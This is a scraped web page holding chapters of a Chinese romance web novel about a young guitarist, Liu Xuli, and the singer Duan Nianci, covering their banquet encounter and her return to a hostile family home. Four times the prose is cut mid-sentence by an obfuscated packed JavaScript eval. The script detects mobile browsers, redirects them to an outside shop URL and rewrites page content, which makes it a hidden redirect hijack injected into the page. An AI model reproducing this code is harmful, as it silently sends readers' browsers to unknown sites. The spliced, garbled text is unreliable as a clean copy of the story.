;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554380|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹的宴会厅中,显得很轻,唯独女声慵懒的咬字极具穿透力,字字句句钻进柳序礼耳中。 歌声在耳边手机里,柳序礼则径直望向歌手本人。 于是便见,不远处,段念辞身边宾客终于散了。一位侍应单独端来一个托盘,上面立着个酒杯,旁边还有一叠热毛巾。 热毛巾通常出现在餐桌上。 在此之前,柳序礼没见侍应给别的客人这样招待过。 所以,多半是段念辞单要的。 柳序礼看见,段念辞捻了毛巾,擦着方才不知与多少贵客握过手的指尖,逐一挫拭,不躲不藏,不怕被窥见,悠然如在为斯诺克球杆擦巧克粉。 随后,段念辞将毛巾放回托盘,信手取酒杯的同时,亲和地同侍应微笑颔首,礼貌致谢。 柳序礼看了许久,不知自己正有样学样,在段念辞举杯饮酒时,自己也仰头喝了口手中的香槟。 当众擦手,是何意图? 被先前握过手的旧宾看到,或许会误会自己被嫌脏;之后尚未问候的新客看了,或许该误解为这是拒人千里的信号。 段念辞这等身家地位的人一举一动都会被无数眼睛盯着解读,柳序礼并不能确定,段念辞此举究竟真只是无心之举,还是确有此意。 若是后者,当众如此,可谓傲慢。 好像在对全场名流无形示威,先前谈笑风生、温文有礼,只是她纡尊降贵的配合。此时已经划好一条只可远观的边界,若有僭越,她不介意用这刚擦过巧克粉的“球杆”,敲一敲冒犯者的脸。 果然,远远有几个没来得及寒暄的宾客顿住脚步,在原地踟蹰,似乎不确定还该不该过来和段念辞问候。 有点意思。 “……”柳序礼放下酒杯,心头刚才“庸俗凡人”的揣测也一并撤回。 原来,并非名利场常见的长袖善舞、八面玲珑的俗人。 美人带刺,这才有点意思。 “小姨!这里!” 身边曲悠悠抬臂挥舞的喊话,让柳序礼陡然回神,她虽偷看得起劲,却还没做好再度与段念辞当面交锋的准备。 或许该说是初次交锋。 毕竟刚才那次,柳序礼没把段念辞当人。 当幻想,当海妖,当艳鬼。 反正没当人。 “悠悠,我先……” 结果,来不及柳序礼找借口遁逃,那边段念辞已循声看过来,刚垂下的嘴角又扬起,是一贯漫不经心的弧度。 笑意流过曲悠悠面上,又流到其身边的柳序礼面上。 对视时,柳序礼喉头艰涩一滚,呼吸有一瞬仓皇。 段念辞端着酒杯走了过来。 柳序礼没能抓住唯一落跑的时机。 于是只好认栽,被女人渐近的笑意囚在原地。 “小姨!你真是被那些人霸占了好久!”曲悠悠再度亲密挽上段念辞的臂弯。 因留心过擦手细节,柳序礼特地留意,此时的段念辞没有抗拒之意,大概不会认定曲悠悠的亲近为不洁。 所以不洁与否,更多趋向于某种精神上的接纳与否。 “不都是你请来的客人吗?我当然要给面子。”段念辞轻笑,声音温柔,显然很宠曲悠悠这个小辈。 “我请这么多人当然是为了撑场子,宾客与我肯定还是有远近亲疏的啦!”曲悠悠转头看身边柳序礼,“对了小姨,先前在海外一直没机会,你或许没见过,给你介绍下我最好的朋友!她是……” “柳序礼?” 吐出她名字的,却非引荐的曲悠悠,而是接见的段念辞。 让闻声的柳序礼和曲悠悠同时一怔,皆是意外。 段念辞弯着月牙眼,视线如风上下撩过柳序礼面庞,笑里藏着点意味深长的打量,停顿片刻,才继续道: “应该没叫错。我对你,有印象。” 4. 交锋 得知段念辞听说过自己,柳序礼凛神,稍稍振奋些。 这振奋出于迎战本能,柳序礼是要专注捕捉蛛丝马迹,以确定段念辞对她的“听说”,究竟来自她家境,还是她本人。 说完“对你有印象”的段念辞没再接话,静静笑着,等柳序礼回应。 而曲悠悠大概也因意外小姨竟听说过柳序礼,一时宕机,没有反应。 正酒精上头的柳序礼勉强判断,此刻该她回话了,于是想了想,应道: “嗯。我也对你有印象。” 曲悠悠:“?!” 段念辞:“。” 以柳序礼刚回港的声量,对比段念辞现今的风头,这话听着,大概就像,初入校门的学子对业内龙头大佬说,我对你有印象;名不见经传的小餐馆老板对全球连锁餐饮的CEO说,我对你有印象。 合理且荒谬,莽撞又耿直。 “柳絮你……”曲悠悠语塞。 倒是段念辞无所谓的样子,唇角笑意活水般泛开,谦和道: “我的荣幸。” 说完,段念辞探来一只手,是要握手的意思。 柳序礼低头,目光在那只手上停留。 段念辞没像宴会上各家千金一样做珠光宝气的美甲,只涂简单润甲油,筋骨线条被水晶顶灯照得明暗清晰。 酒精又在柳序礼脑中泛起一阵麻意。 她看着这只精致的手,竟产生些疯狂的念头: 这样比例完美的骨节,要制成琴的哪个部位,才不算暴殄天物。 趁手的乐器,与乐师当磨合如多年爱侣。 她在想,以这骨节制成的琴,握上去会是什么触感,会让她感觉如恋人般亲密无间么? “柳絮!伸手!”曲悠悠以气声唤她。 柳序礼回神。 她这才注意到,自己神游天外,一直晾着歌后探来的手,而段念辞也一直不催不急,没收回手。 她抬眼看去,见段念辞唇角已无笑意,但眉眼却依旧弯弯的,带着深邃的从容。 好似只要给出示意,她就必须握手回应,对此事势在必得。 “柳絮!”曲悠悠拿胳膊肘悄悄耸她,像以往一样提醒社交礼仪,“快握手。没礼貌。” 柳序礼笑了,心头暗忖,曲悠悠不知道,实际上她刚才在对着这只手想的事,更不礼貌。 柳序礼还是伸手,回应了段念辞的势在必得,与其握手。 毕竟她也确实好奇,这人的骨头摸着手感如何,适不适合为她打造一把琴。 女人指尖微凉,区别于礼裙的红,反而应证了柳序礼对她曼珠沙华的印象。 大概就是得开在彼岸的花,才能看似艳丽,实则凉薄。 两人手指只很快触了一下,就分开。 但这转瞬,之于高敏感的柳序礼,却足够了。 她已经得到了自己想要的答案: 这只手,不太适合,成为她的琴。 最佳的乐器之于乐师当如多年爱侣般默契。 一碰就叫人触电的骨头,还是太刺激。 摸都摸不得的琴,如何称之为趁手? 柳序礼一边想着,一边暗暗反复摩挲着刚才握手时,肌肤相触的那片皮肤,想磨去那点余裕未褪的酥麻。 视线随意上抬时,柳序礼愣了一下。 她看到了段念辞的眼睛。 看到了某种相似—— 与她相似的洞察,段念辞也在方才那短暂的接触中,得到了某种答案。 于是就转为。 与她相似的贪婪。 柳序礼不够了解段念辞,所以不知道,段念辞如今,正反过来肖想她哪块骨头。 柳序礼只有预感,多半和她刚才的一样,是那种说出来,也会让曲悠悠捂着耳朵尖叫“没礼貌啊没礼貌”的那种贪婪。 “你俩……”曲悠悠依稀感觉到静水流深,视线在两人间来回打转,“真是第一次见面吗?好古怪……” 柳序礼没说话,段念辞态度比她坦然,笑着回应: “可能这就叫,一见如故?” 这话曲悠悠是信的,“也对!你们天才间那种莫名其妙的磁场,我等凡人参不透也很正常!”说完,转道,“对了,柳絮,你不是马上出道发布会了吗,反正以后都是同行,这事能提前透露点给我小姨吗?” 柳序礼回国后,就在曲悠悠牵线下,签约香江知名的经纪公司。 她在校期间多以大名参赛,也不管外国人读不读得惯,姓名一律报拼音。而英文名Xylia,则留以在网络作为不露脸歌手的账号,发布些原创demo,纯靠才华稍稍积累了些知名度。 签约后,经纪公司预备整合她现有两个身份的资源,让她以“Xylia首次露脸”结合“伯克利天才少女正式进军娱乐圈”为噱头进行营销。 当然,公司提议过加上“港岛柳氏千金”的名头,多赋一层魅。然而只有这一点,柳序礼执意反对。 公司也没坚持,毕竟单前两个tag,就已经可预见热度之高,后续的营销路线和通稿都万事俱备,只等出道发布会一日东风。 柳序礼猜想,曲悠悠现在要提这事,可能是想帮她在歌后面前刷脸,借这层关系,让段念辞今后稍稍关照她。 只不过,她不太想。 公司资源足够,沾段念辞的光于她而言暂时不是必需项,于是,她心里就有点说不清道不明的蠢动: 若是可以,她希望,与段念辞的关系,能纯粹些。 纯粹就行。至于纯粹到热络,或纯粹到陌路,她都可以。 “什么发布会?”段念辞在此时问。 柳序礼视线扫过去匆匆一眼,既然段念辞好奇,这时再瞒来不及了,旁边曲悠悠也一脸话到嘴边呼之欲出的期待。柳序礼叹一口气,只含糊应嗯嗯。 曲悠悠就当她同意讲,把Xylia的事跟段念辞说了。 “原来Xylia也是你?”段念辞竟然说。 “小姨你居然知道Xylia?!”曲悠悠惊讶瞪大眼。 “嗯,听过些她的作品。”段念辞说着,又饶有兴致扫了眼柳序礼。 让柳序礼背在身后,堪堪酥麻褪下去的指尖,又开始作祟。 身为知名歌后,居然会主动听网络名不见经传的创作人的作品,可见其并非在娱乐圈麻痹的“偶像商品”一尊,依旧保有对音乐专业度的探究。 在此基础上,还能记住“Xylia”这个创作人,在柳序礼看来,就像她能记住段念辞这个歌手的名字,或记住某些新锐作曲人的名字一样,一定是被惊艳多次,才能记住。这是对她才华的认可。 这样的猜想让柳序礼热血隐隐鼓动。 但不至于沸腾。 身为柳氏幺女,她见惯名利场的虚伪,她尚未验证,段念辞所言,究竟只是社交辞令,还是确有其事。 “小姨,柳絮就是Xylia的事,在出道发布会之前,还是要保密的哦!”曲悠悠煞有介事补充,“就跟我隐瞒与你有亲戚关系一样,是藏了手王牌,等我闯出一番事业,就差一手推波助澜时,再把这张牌打出来!” 柳序礼这才明白,曲悠悠为何从未提起过,与段念辞有这层关系。转念一剖析,她赞同曲悠悠此举,附和道: “确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554381|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,星二代是光环,同时也是压力。” 曲悠悠闻言小脸一垮,“你说的对,我承认我娇生惯养,抗压能力还是差了点……” “我不是那个意思。”柳序礼忙道,“我是说,新生个体还没发育完全时,一旦被冠上星二代的名头,很容易被旁观者盲目拿来与已经发育健全的星一代进行对比,反而限制星二代原有的可能性。” “……呜呜,”曲悠悠捂脸,“我知道,我确实还没发育成小姨一样的完全体,更不用说柳絮你这样生来lv99的天赋型……” “……?”柳序礼一怔,想了想,换思路,直接肯定,“其实一直不公开星二代身份,也未必不是良策,我反而能看到你靠自己也能有不错发展。否则,一直笼于前人阴影之下,未必能有所成……” “我确实想过一辈子不公开,”曲悠悠可怜兮兮道,“毕竟我知道自己几斤几两,别说这辈子了,上下再借两辈子,都不可能超越小姨现有的成就……” 柳序礼:“……” 段念辞:“……” “悠悠,”半晌,段念辞才轻声道,“我一直不知道,你居然是这么看我的。” 声线格外温柔,可以听出,段念辞确实很宠爱这个外甥女。 曲悠悠个性纯真,情绪来得快,本只是跟友人闹着玩,眼下话赶话,好像真被扎心,居然有些消沉。 孩子的小表情看得段念辞眉心稍拧,转头投向柳序礼的眸色,都偏冷了些。 柳序礼:“……” 那眼神不言而喻,赫然一句:哄不好有你受的。 于是柳序礼清清嗓子,顺着段念辞话,往下接: “事实上,人贵在有自知之明。小学生在二年级时,竭尽全力,考赢六年级,就可谓凡人意志的极致。但如果小学生非要在二年级,考赢顶尖学府的大学生,那就是不自量力。看清自己,你没你想的那么差……” 段念辞:“……” 曲悠悠:“……嘤。我是小学生。我才二年级。” 眼见曲悠悠嘴角越撇越下,柳序礼知道,这是哄坏了。 她看向段念辞,果见段念辞看向这边,意外的是,居然嘴角带笑。 细细端详,才知道,那笑里是愠怒的,绵里藏了针。 “话说起来,我一直有个疑问。”段念辞话题转得生硬,目的明确,“你初次参加的那届GFA*比赛,有个明显失误,观众或许看不出,专业评审为何能看不出?赛事结束后,为何赛委会为你瞒下那处纰漏,以‘完美’进行外宣?你的‘天才’之名,好像也是那场比赛后传开的吧?” 柳序礼:“……” 很显然,段念辞在这时提这茬,就是要杀她威风,为外甥女出头。 段念辞继续悠然道:“我问过团队,她们都相信那是你原定的改编,是正常发挥。但我倒带过视频,慢放研究过好几遍……” 话语至此,恰到好处一顿,提起柳序礼的呼吸。 段念辞这才揭晓结论,以压低眉睫的探究的眼眸,来洞穿柳序礼的心跳: “你的小指分明是无意碰了那根弦,本该有杂音。你的食指在那个音上的发力较平时有出入,没摁到位,本该有虚音。所以,不是改编,那就是失误,只不过被你成功救场了,对吧?” 柳序礼:“……” 热血终于开始沸腾。 却并非因被段念辞当面质问的心虚或慌乱。 而是柳序礼终于能够确认: 段念辞对她的耳闻,并非社交辞令。 段念辞真的看过她比赛。 不仅如此,段念辞竟有足够的本事,看穿她失误。 5. 骨头 柳序礼一战成名那场吉他比赛,百密一疏,确有失误。 表演收尾时她碰弦出杂音、按弦出虚音,因手感火热,失误瞬间,尚未听到琴音,她就知道自己错了,几乎同时,就将杂音当切音,虚音处加推弦。 此番处理不仅成功掩盖瑕疵,甚至将其化为亮点。 观众当然察觉不到这其实是她失误,连评委都要在点评环节特地同她确认,最后的处理是改编还是救场。柳序礼当时如实回答,其实是失误救场。 在业内人士眼中,那种神级救场,比完美演出更彰显技术,于是,柳序礼毫无悬念摘得桂冠。 只是,或许柳序礼的参赛表现煞了同届参赛选手锐气,整届赛事其余选手表现平平无奇,不仅冠军毫无悬念,赛事结束后的收益也无咎无誉。 后续唯一掀起点水花的,是家濒临倒闭的小报社,为自救选择了颇具煽动性的打法,将柳序礼那场表演宣传为“完美神迹”,拉踩同届选手为“平庸凡俗”,大肆发布通稿。 于是,因“天才少女完美神迹”,数不清的关注度蜂拥而至。 这些通稿救了那家小报社,也救了赛委会后续的收益。赛委会没跟钱过不去,选择默许,不仅没特意澄清,甚至有几次还配合“完美碾压”的宣传。 柳序礼亦因那次小小出圈得益,参加过几次演出活动。偶有人问过她事实真相,她坦言过并非完美实为失误,只不过听者反把注意放在她“真诚”或“谦逊”之上,为她神话再添一笔。 专业技术的探讨,于多数人看来,都是乏味无趣的。 柳序礼也就对此不再费口舌。 人们需要传奇,人们热衷造神。她只是在他们无聊,亟待喧哗与热闹时,出现在了大众视野里而已。 至于真相与细节,大众并不关心。 “……综上,没有黑幕。”柳序礼依旧坦荡,如过去被问起时一样,大方承认,“事实不过是,赛委会没澄清,是因没必要和钱过不去。” 闻言,段念辞眸中本捎带的探究的攻击性,稍稍柔化,开口道: “我没怀疑过你靠黑幕夺冠。我只是好奇这一小小细节。正如我现在依旧好奇……” 一顿,又掉下来一把情绪的钩子,钓得柳序礼心痒。 “……赛委会不澄清,你也不澄清?” 柳序礼理直气壮道:“赛委会没跟钱过不去,我也不必要跟钱过不去。” 没自诩清高,她沾了铜臭,钱币正面占的便宜她认,背面附加的误解她也认。 闻言,段念辞没应,依旧带笑打量她,似乎不信的样子。 柳序礼就补了句:“何况我缺钱。” 段念辞挑眉,仍旧没说话。 柳序礼猜,大概任谁听说永裕堂柳氏的千金居然自称“缺钱”,都会以为在开玩笑吧。 她没顺着这个话题往下延展,想来已经满足了对方的好奇,便该她的回合了,于是也不吃亏,反击回去: “应该不难理解。毕竟富裕如您,也不会嫌钱多,依旧会缩在舒适区里挣钱。” “……?!”一开始还听得云里雾里的曲悠悠,当即瞠目结舌,“柳絮你在说什么呢!” 柳序礼理直气壮道:“怠惰人之常情。我只是有些可惜以您过去野望和实力,事到如今,也依旧落入俗套,选择不思进取。” 曲悠悠差点尖叫出声,忙踮脚要去捂柳序礼口无遮拦的嘴,却被高个子的少女偏头躲过。曲悠悠一边制止这货,一边对那边段念辞赔笑: “小姨你别放心上。她就是……童言无忌!报复心强!你那些歌一首比一首难翻唱,哪有什么舒适区……” 却见段念辞若有所思,情绪稳定,启唇: “你是指那首,《CanYouLoveMe》?” 曲悠悠:“……?” 柳序礼:“。” 曲悠悠阻拦的动作僵在原地,一脸百思不得其解,提到“舒适区”,段念辞怎么会想到这首歌。 而柳序礼闻言则两眼隐隐泛光,背在身后的手指无意识颤动,兴奋得像在揉吉他的弦。 段念辞能明确定位到她在说哪首歌,段念辞对那首歌,或许有着与她相同的感受。 她不必白费口舌解释太多,哪怕给的是句失礼的暴论,段念辞三言两语间,就能听懂她在说什么。 她与她,某种意义上,是同频的。 段念辞嘴唇翕动几回,似乎想说什么,但没说太多,只含糊几句,“大概等你出道,就会明白,除去‘挣钱’,守在舒适区,其实存在别的理由。” “比如呢?”柳序礼追问。 “比如,”段念辞说,“想回应粉丝的苦守等候?” 柳序礼:“……哦。” 段念辞又说:“再比如,与创作团队的平庸或瓶颈和解?” 柳序礼:“…………哦。” 见她拧着眉心,似乎艰难消化,段念辞又轻笑开,说:“不过你大概率很难理解,因为还没经历过。” “……”柳序礼闻言一怔,心想,虽作为“柳序礼”,她现在粉丝量远不及段念辞,但作为“Xylia”,她还是经历过歌迷留言催更的,虽然不多。 方才同频的兴奋又因这错频消解,柳序礼的情绪犹如被蒙进井里,她静静想,堪堪找到回应,正要回话…… 段念辞适时补充: “当然,我说的‘你不理解’,不包括前面‘粉丝’部分,特指‘平庸’和‘瓶颈’这部分。” 一句话,就丢进那闷闷的古井,传出悠远深邃的回响,引得柳序礼心底最无波的位置,泛开阵阵难以抚平的痒。 段念辞这话在说,柳序礼的才华,不似其创作团队平庸,没经历过瓶颈。她天赋远在她们之上,且阅历尚浅,才无法向下共情。 段念辞不仅能听懂她,甚至还认可她。 踏遍中外,纵观老少,柳序礼总能遇到那么几个与她实力相当的天才。但多以对手的身份,或竞争,或对抗,自成流派,互不认同。 彼此认可、惺惺相惜的天才,总是少数,这种情况,柳序礼一般,叫作“知音”。 正因认可实力,于是对“内幕”或“怠惰”的窥探,都像是关心则乱的调情。方才两人间针尖麦芒的唇枪舌战,此时在柳序礼感知起来,根本无关痛痒。 就在这时,段念辞身边来了位女士。 职业装打扮,可能是经纪人。 段念辞附耳去听经纪人说话,大概与行程安排有关,段念辞即将转场。 得知时,柳序礼表情小小地暗淡了下。 十九年来受惯平淡无趣的社交,难得来了次让她前所未有兴奋的交锋,结果没聊几句,就如露水情缘,一拍就要散了。 “柳序礼。” 就在这时,段念辞唤她全名。 柳序礼回神,对上段念辞温和的表情,笑眼弯着疏离,嘴角勾着慵懒,那人二度伸手,道: “若有机会,合作一下。期待你弥补我近期的缺憾。” “……”柳序礼屏息,随后坦诚接上,“我也期待。” 两人临别前,又握了次手。 不是客套话,她确实想合作。 刚才她甚至在凉台上还没与人家见面,就已经在构思会给段念辞写一首怎样刁难的歌。 段念辞闻言笑意更深,松手,随经纪人一起走了。 柳序礼视线追着走,经过几道人影,见旁边有位待命已久的侍应又托一杯新酒上前,盘边自然又搭一叠毛巾。 柳序礼喉头一滚,紧张地看。 便见段念辞的手直接越过那毛巾,径直取了酒杯,抿一口酒。 那人刚和曲悠悠亲昵地贴近过,还两度与她柳序礼握过手。 却没像先前,故意擦净手。 “我不理解。” 曲悠悠开口,柳序礼回神。 低头便见曲悠悠一脸莫名地打量,“我不理解,柳絮,你在笑什么?” 柳序礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554382|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一怔,摸唇角,“我笑了?” 摸到手的嘴角弧度,似乎确是上扬的。 曲悠悠:“我小姨走了,你就这么高兴?” 柳序礼:“……” 曲悠悠:“还有我小姨,我也不理解!你俩刚才难道不是当我面吵了个架吗?用词那么激烈,我差点都以为你们要互相往彼此额头砸个酒瓶……怎么最后莫名其妙就以合作结尾了?” 柳序礼:“…………” 曲悠悠:“我想不通啊,我看不懂啊!我应该跟完全程了呀,我也没跳章吧……” 柳序礼:“………………” 再放眼那抹彼岸花的红曾停留过的位置,人已不在原地,仿佛开到荼靡,只剩凋敝,美艳曾盛放的馨香都是她的幻想。 ……若非曲悠悠还在她耳边絮絮叨叨聊起小姨,证明彼岸花确实开过的话。 柳序礼无奈对曲悠悠道:“她最后说的那句合作,应该只是场面话。我没放在心上,你也不用管。” 毕竟那人连张名片都没留。 若真有心,刚才经纪人就在边上,哪怕当场要她加个工作号,都算有诚意。 所以柳序礼没当真,但也无所谓,反正来日方长,出道后有的是机会见面,她只是期待起下一次会是怎样的交锋。 但曲悠悠对此不以为然,嘟哝着说:“应该不是客套……你别看我小姨总是笑眯眯的……哎呀我很难解释,但她其实真不是那种类型的人!” “嗯嗯。”柳序礼有自己的判断,没打算说服曲悠悠,也没被曲悠悠说服。 晚宴仍在继续。 奢华的城堡蛋糕推出来时,其上似不夜城的烛光亮得足以将每位宾客的脸点亮。曲悠悠在人群簇拥下许愿,面上带着备受宠爱的大小姐独有的纯真与甜美。 柳序礼站在人群最外围,疏离平静看着这一切。 随后便是送礼和庆贺的环节,他们为她开最贵的香槟,只当礼炮般听个响,他们呈上全球最时髦的珠宝和珍奇,只为换来曲大小姐亲昵欢喜的一句“多谢”。 柳序礼没掺和进热闹,只在礼盒堆上留下她额外备的那条四叶草项链,便重新回到凉台上独自吹风。 她对他们习以为常的奢侈依旧意兴阑珊。 她本以为回到这里,不过就和方才合奏完一样,是回到了孤独但自在的日常。 此刻到凉台,她才惊觉,事实并非如此。 某位嘉宾,来了又走,走的时候,却手脚不干净,还是顺走了她身上某块骨头。 于是当下放眼维港海面,柳序礼心却不安宁,胸腔内缺失的那一小块,在不断回响那人的嗓音。 原本单只是觉得无聊,还不致命。 致命的是,都快习惯了漫长的无聊,却偶尔被有趣惊艳过一次,转瞬又被丢回无聊里。 那才真要命。 柳序礼无奈,不知该感叹,不如没见过那人,还是该祈祷,快快再见到那人呢? 晚宴结束,宾客散场。 柳序礼在港尚无资产,还得先回柳家大宅。柳家没给她聘司机,她得自己叫计程车。 的士开出去没几个街区,柳序礼收到曲悠悠短信,问她去哪里了。柳序礼回,刚才跟你打招呼先走,人太多,你可能没注意。 曲悠悠秒回: 【确实没注意!】 【人太多,我晕头转向,连我小姨消息都没顾得上回!】 柳序礼顿了下,不知曲悠悠为什么又和她提那位小姨,正想着该怎么回,友人的新消息就追过来。 让她酒醉的脑子陡然清醒—— 【我小姨说要加你好友!】 【你没意见的话,我就把你手机号发她咯?】 柳序礼原先丢的那块让她失魂落魄的骨头,好像终于回到胸腔里,正在她心头跳。 没有发名片。没留工作号。 段念辞确实不客套,压根没走公,不避嫌地通过曲悠悠,直接向柳序礼讨私人的联系方式。 6. 好友 没有哪个时刻,比现在,更让柳序礼发觉,WhatsApp这个软件没有好友申请同意功能,是多么不方便。 她后倚的士靠垫稳着身体,却稳不住怦然作乱的心跳。 她盯着手机,不确定段念辞会何时存她手机号,不确定段念辞只是单方面存进通讯录,还是会存完后,给她打个招呼。 等待是看似悠闲,实则焦灼的过程。 以至于的士绕进山顶白加道,她都没察觉,以至于司机停车后提醒她多次,她才堪堪听见。 抵达庄园,下车时,司机还打趣她一句,难怪有钱人积累财富,都是因为想事情能那么专注。 柳序礼明白司机在说什么。 她求学时常被同学如此感慨,天赋异禀不可怕,可怕的是像她这样,练琴写歌时还能有那种专注度与沉浸度,天塌了都惊不动的。 而刚才,柳序礼就在拿那种人人称羡的专注度,琢磨段念辞会如何加她好友。 简直暴殄天物。 柳序礼咧咧嘴角,不知是自嘲还是赔笑,付了车钱就拖着吉他琴箱回了家。 近期柳守拙不在港,她回大宅虽不算自在,至少不折磨。 半夜三更,宅中本该很静,她进门时却听到二楼传来肆无忌惮的派对音乐声,鼓点嘈杂,吵得人心烦。 柳序礼抬眼瞥一眼,淡淡拧着眉。 这噪音多半是长房少爷柳家骏的手笔。 只有这符合她对纨绔所有设想的哥哥,才能趁家主柳守拙不在,不顾夜深人静,宅中还住着别房亲属,恣意妄为。 柳序礼没想去纠正那人的胡闹,她避之不及。 奈何有心避祸,祸自寻来,她刚要进电梯,却见轿厢门开,柳家骏正好出来。 混杂着各色脂粉味的酒臭迎面扑来。 柳序礼屏息,不动声色后退一步,让开路。 柳家骏看到行九的小妹也意外,就堵着电梯门,语气轻佻同她搭话: “小九?什么时候回港的?我都不知道。” 柳序礼垂着头,平静地答:“没两天。” 柳家骏视线上下扫过柳序礼,嬉皮笑脸,“几年没见,变化挺大。” 柳序礼没应。 柳家骏往她背后看,瞥见琴箱,似乎想起什么,又笑,“我以为小时候闹那么狠,你长大后会避着我们,不再回这里。” “……”柳序礼呼吸因这番话有短暂错乱,但很快调整好,低眉顺眼道,“都过去了。毕竟是一家人。” “你真这么想?”柳家骏却不信。 柳序礼心里嗤笑,原来他也知道,某些事想要“过去”,很难以置信。 虽为一家,同为柳守拙的骨肉,但他们子女待遇云泥之别。最受宠的自然是正妻的长房大少爷,最次的便是六姨太生的九姑娘柳序礼。 柳家骏甚至可以在庄园空地建一栋仅他可用的私人游泳馆,而柳序礼却连挑一间宅中闲屋做琴房的资格都没有。 若只是如此,顶多证明父母偏心,然而偏心不过是一切的源头。 无尽的溺爱骄纵出柳家骏乖僻蛮横的性子,时时欺下瞒上,无法无天。 她印象最深的一次与柳家骏的冲突,是在她六岁时。 彼时她沾光,刚接触过二房少爷的钢琴,正新奇,但也知道察言观色,特地挑下午三四点,家人都在饮茶闲玩的时候,弹几阶刚学的音。 却不知这样就触了柳家骏霉头,这人昼夜颠倒,睡眠从不规律,又不通知,她从哪能知道自己摸琴时对方才刚睡着,就这样无意把人吵醒。 于是柳家骏把她丢进宅中地窖,作为惩罚。 那地下室是前庄园主闲置的酒窖,几十年没见天日,电路年久失修,一点光都没有。这还是其次,底下空气浑浊,没有食物和水,却有些发着窸窣动静带着腐臭气味的不明生物,时不时蹭过小孩的脚踝。 柳序礼吓坏了。 然而,任小孩如何哭嚎,不知是外面人没听见,还是故意忽视,没人来救她。 柳序礼不知自己被关了多少天。 最后见天光时,她睁眼是在医院,床边是面庞消瘦的母亲柳宣蝶,没有父亲和那始作俑者哥哥的身影。 后来听宅中菲佣说,是柳宣蝶四处找不到她,跪在大太太房门哀求整整一夜,柳太动心恻隐,才差人开始找。 而在外逍遥的柳家骏也是被追问,才记起这么个被丢进地窖的妹妹。虽说闯祸,柳守拙和柳太却都没追柳家骏的责,就这么轻拿轻放过。 出院后,柳序礼性子愈发淡薄,也不太弹钢琴了。虽说不至于杯弓蛇影,但事实是,她对钢琴的兴趣确实较别的乐器更弱些。 而地窖事件,也不过是她童年记忆里,数不清的冷待中,比较典型的一件罢了。 连柳家骏都记着这些事,作为受害人的柳序礼,怎可能轻易过得去。 但此刻的她只隐忍不发,一副温良无害的模样。 让不住打量的柳家骏无法揣测,她这到底是真被驯服乖顺了,还是在卧薪尝胆。 不过,哪怕是后者,柳家骏也不在乎。 弱者的愤怒乃至仇恨,反而是上位者枯燥时取乐的调剂。 无能者不痛不痒的回击更像撒娇,他作为哥哥,倒还真想体验这出落得愈发惊艳的小妹妹,同他“撒个娇”。 “你能翻篇,那再好不过。对了,”柳家骏说,“既然我妹妹弹琴那么出色,上去在我朋友们面前露一手,给哥哥争个脸,如何?” “……” 柳序礼咬肌一紧,堪堪维系住平稳的呼吸。 楼上男男女女混乱淫靡的笑声不绝于耳,甚至还有个男人刻意夹着嗓子发出某种不入流的呻.吟。这种场合,他要她去,居心昭然若揭。 柳序礼确实没打算在自己羽翼未丰时,同权势滔天的父兄鲁莽撕破脸,却也没打算就此含垢忍辱。 她瞄好厅中茶几上的果盘,嘴上调笑她姑且能忍,若柳家骏真敢放肆到上手拉扯她,她就拿那水果刀捅穿他眼珠。 “家骏哥哥~拿几瓶酒,怎么这么久呀~” 楼上一声雌雄莫辨、矫揉造作的呼唤,又激起同伴几声起哄的嬉笑,在听者神经上横跳。 柳家骏这才想起下楼目的,以粤语骂了几句下三路的话回应。 柳序礼见对方注意被转移,趁机搪塞几句太迟了不方便,连电梯也不乘,转而拎着琴箱去走了旋梯。 回到四层房间,她反锁门,转身看见因阁楼户型被切割得逼仄的潮湿小屋,她却没感觉到安全,反而只觉脚底愈加虚浮。 她像踩一叶孤舟,四周都是海。 维港潮湿的海风吹得屋内墙漆发霉斑驳,也吹得她身形摇摇欲坠。 直到。 叮—— 手机弹出消息气泡音。 柳序礼回神,拿出手机,解锁查看,便见WhatsApp跳出两条“未保存联系人”的消息: 【晚上好】 【我是段念辞】 即将翻覆的扁舟因而稳定。 柳序礼定睛,透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554383|204413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 